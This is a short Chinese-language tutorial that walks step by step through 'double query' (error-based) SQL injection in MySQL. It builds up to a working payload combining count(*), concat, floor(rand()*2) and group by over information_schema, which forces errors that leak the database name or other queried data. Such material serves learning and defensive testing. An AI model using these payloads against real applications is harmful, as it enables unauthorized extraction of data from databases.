0%

双查询注入

双查询注入

了解floor,rand语句

 select concat('x','y');`可用于连接x,y得xy

字符记得加单引号或者双引号闭合

测试 `select rand()`多测试几次,可以看到,这个函数就是返回大于0,小于1之间的数。


select floor(小数)取整(不会进行四舍五入)

联合两者 select floor(rand()*2);我们从里向外看。rand() 返回大于0小于1的小数,*2为>0&&<2。然后对结果进行取整,这个查询的结果不是1,就是0。

加大难度(复合)

`select concat((select database()),floor(rand()*2));`结果不是数据名1就是数据库名2;


再其后面加from 表名可得此表用户;
如果是from information_schema.schemata可查询有几个数据库。

加上group by语句

可使用information_schema.tables或information_schema.columns两个表查询
`select concat((select database()),floor(rand()*2)) as a from information_schema.tables group by a`,//对concat((select database()),floor(rand()*2))取名为a 并分组。
这里的database,可换成其它的查询

报错

多了一个聚合函数 count(*)    
select count(*),concat((select database()),floor(rand()*2))as a from information_schema.tables group by a;结果报错,重复得结果。

派生表

`select 1 from (table name);`这样的语句报错 具体就是:
`(select 1 from (select count(*),concat((select database()),floor(rand()*2))x from information_schema.tables group by x)a);`

-------------本文结束感谢您的阅读-------------

欢迎关注我的其它发布渠道